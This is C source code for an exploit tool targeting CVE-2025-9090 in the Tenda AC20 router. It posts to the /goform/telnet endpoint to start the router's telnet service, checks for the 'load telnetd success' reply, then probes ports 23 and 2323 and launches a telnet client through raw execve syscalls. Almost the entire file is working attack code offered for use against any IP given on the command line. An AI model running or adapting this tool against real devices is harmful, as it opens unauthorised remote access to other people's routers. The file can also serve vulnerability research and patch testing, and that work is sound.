/* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-9090 * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. * target endpoint : /goform/telnet * place in service : http:// * full format target url : http:///goform/telnet * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (Sleep + full url + libcurl function) * 3. Send POST request via CURL * 4. Measure response: HTTP code, telnet access (23), error word (not found) * 5. Determine success & finalize exploit */ #include #include "argparse.h" #include #include #include #include #include #include #include #include #include #include #define MAX_RESPONSE (50 * 1024 * 1024) #define URL 2400 #define BUFFER 4500 const char *ipT = NULL; const char *cookies = NULL; int loopF = 0; int verbose = 0; int fileCookies = 0; void exit64bit() { fflush(NULL); __asm__ volatile ( "syscall\n\t" : : "A"(0x3C), "D"(0) : "rcx", "r11", "memory" ); fflush(NULL); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { if (!userdata) { return 0; } if (size && nmemb > SIZE_MAX / size) { fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n"); return 0; } size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) { fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n"); return 0; } char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exit64bit(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l) { printf("\e[0;33m[+] Clean Headers...\e[0m\n"); if (h != NULL) { curl_slist_free_all(h); } if (c != NULL) { curl_easy_cleanup(c); } printf("\e[0;33m[+] Clean CURL...\e[0m\n"); if (r != NULL) { free(r); r = NULL; l = 0; } printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n"); printf("\e[0;31m[+] Exit ....\n"); } int sleepSocket() { static int current = 2; int timeout = current; printf("\e[0;34m[+] Timeout Socket : %d\n", timeout); current++; if (current > 6) { current = 2; } return timeout; } int connectionTelnet(const char *ip) { int ports[] = { 23, 2323 }; int num_ports = sizeof(ports) / sizeof(ports[0]); for (int i = 0; i < num_ports; i++) { printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]); printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]); int s; char buffer[BUFFER]; struct sockaddr_in server; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("\e[0;31m[-] Error Create Socket !\e[0m\n"); return -1; } server.sin_addr.s_addr = inet_addr(ip); server.sin_family = AF_INET; server.sin_port = htons(ports[i]); struct timeval timeout; int value3 = sleepSocket(); timeout.tv_sec = value3; timeout.tv_usec = 0; if (setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)) < 0) { perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n"); exit64bit(); } printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n"); if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n"); close(s); continue; } printf("[+] Connection Success in server.\e[0m\n"); char banner[256]; int n = recv(s, banner, sizeof(banner)-1, 0); if (n > 0) { banner[n] = '\0'; printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner); } close(s); if (verbose) { printf("\e[0;33m[+] Close Socket...\e[0m\n"); } return ports[i]; } return -1; } int systemCommand(const char *ip) { pid_t pid; printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid()); pid = fork(); if (pid < 0) { fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n"); return 1; } else if (pid == 0) { int access[] = {23, 2323, 80}; int numberAccess = sizeof(access) / sizeof(access[0]); for (int a = 0; a < numberAccess ; a++) { printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid()); printf("\e[0;34m[+] sys_execve syscall...\e[0m\n"); char ipS[90]; int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip); if (checkLen(lenIp,ipS,sizeof(ipS)) == 1) { printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n", lenIp); exit64bit(); } char portsA[40]; int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]); if (checkLen(lenA,portsA,sizeof(portsA)) == 1) { printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n", lenA); exit64bit(); } const char *c = "/usr/bin/telnet"; char *const argv[] = { "telnet", ipS, portsA, NULL }; const char *envp[] = {NULL}; __asm__ volatile ( "mov $59, %%rax\n\t" "mov %[command], %%rdi\n\t" "mov %[v], %%rsi\n\t" "mov %[e], %%rdx\n\t" "syscall\n\t" : : [command] "r"(c), [v] "r"(argv), [e] "r" (envp) :"rax", "rdi", "rsi" , "rdx" ); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } } else { waitpid(pid, NULL, 0); printf("\e[0;36m[+] Child process finished.\e[0m\n"); } return 0; } void endPoint(const char *ip) { CURL *curl = curl_easy_init(); struct Mem response ; response.buffer = NULL; response.len = 0; struct curl_slist *headers = NULL; if (response.buffer == NULL && response.len == 0) { if (verbose) { printf("\e[0;35m==============================\e[0m\n"); printf("\e[0;34m[+] Clean Response...\e[0m\n"); printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n"); printf("\e[0;34m[+] Response len is 0.\e[0m\n"); printf("\e[0;34m[+] Clean Success.\e[0m\n"); printf("\e[0;35m==============================\e[0m\n"); } } else if (response.buffer != NULL && response.len != 0) { if (verbose) { printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n"); printf("\e[0;31m[-] Clean Failed.\e[0m\n"); } } if (!curl) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exit64bit(); } CURLcode code; if (curl) { char full[URL]; int len = snprintf(full, URL, "http://%s/goform/telnet",ip); if (checkLen(len,full,URL) == 1) { printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } printf("\e[0;34m[+] Write Success IP in FULL url.\n"); printf("\e[0;32m[+] Len Full url : %d\n", len); printf("\e[0;37m[+] Target IP Address : %s\n", ip); printf("\e[0;37m[+] FULL URL : %s\n", full); if (verbose) { printf("\e[0;37m[+] Check Range IP ...\n"); } struct in_addr inaddr; if (inet_aton(ip, &inaddr)) { printf("\e[0;36m[+] The address '%s' is valid.\n", ip); } else { printf("\e[0;31m[-] The address '%s' Not valid.\n", ip); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (fileCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); uint64_t raxValue; raxValue = 0xE6; if (verbose) { if (raxValue == 0xE6) { printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue); } else { printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } } struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long reg_r10 asm("r10"); reg_r10 = 0; printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(raxValue), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(reg_r10) : "rcx", "r11", "memory" ); printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret); if (ret == -1) { if (errno == EINTR) { printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); } else { perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n"); } } else { printf("\e[0;34m[+] SLeep Success.\e[0m\n"); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } headers = curl_slist_append(headers, "Accept: text/html"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, ""); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); code = curl_easy_perform(curl); long http_code = 0; if (code == CURLE_OK) { printf("\e[0;36m[+] Request sent successfully.\e[0m\n"); if (verbose) { printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m=======================================================================================================================================\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", http_code); if (http_code >= 200 && http_code < 300) { printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n"); printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m===============================================================================================================================================\e[0m\n"); printf("\e[0;35m[+] Check response server...\e[0m\n"); if (response.buffer) { if (strstr(response.buffer, "load telnetd success") != NULL) { printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n"); printf("\e[0;36m[+] Injected successfully.\e[0m\n"); } } printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n"); printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23); int value = connectionTelnet(ip); printf("\e[0;35m[+] Result Connection : =============================\e[0m\n"); int useCommand = 0; if (value == -1) { printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n"); printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80); useCommand++; goto command; } else if (value != -1) { printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value); printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n"); } command: if (useCommand != 0) { int value2 = systemCommand(ip); if (value2 == 1) { printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n"); } else if (value2 == 0) { printf("\e[0;34m [+] Run command Success.\e[0m\n"); } } printf("\e[0;35m=====================================================\e[0m\n"); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n"); printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n"); if (response.buffer) { response.buffer[response.len] = '\0'; if (strstr(response.buffer, "Not found") != NULL || strstr(response.buffer, "was not found on this server") != NULL) { printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n"); printf("\e[0;31m[-] Not found endpoint !\e[0m\n"); printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n"); } } else { printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n"); } } } else { fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code)); exit64bit(); } } } int main(int argc, const char **argv) { printf( "\e[1;31m" " ▄████▄ ██▒ █▓▓█████ \n" " ▒██▀ ▀█▓██░ █▒▓█ ▀ \n" " ▒▓█ ▄▓██ █▒░▒███ \n" " ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n" " ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-9090\n" " ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n" " ░ ▒ ░ ░░ ░ ░ ░ \n" " ░ ░░ ░ \n" " ░ ░ ░ ░ ░ \n" " ░ ░ \n" "\t \e[1;31m [ Byte Reaper ] \e[0m\n" ); printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ipT, "Enter Target IP"), OPT_STRING('c', "cookies", &cookies, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('f', "loop", &loopF, "Number request (-f 4 = 4 request)"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (ipT == NULL) { printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i \e[0m\n"); exit64bit(); } if (cookies != NULL) { fileCookies = 1; } if (verbose) { verbose = 1; } if (loopF != 0) { printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF); for (int n = 0; n <= loopF; n++) { printf("\e[1;35m[+] Another request: =============================================\e[0m\n"); endPoint(ipT); } } endPoint(ipT); return 0; }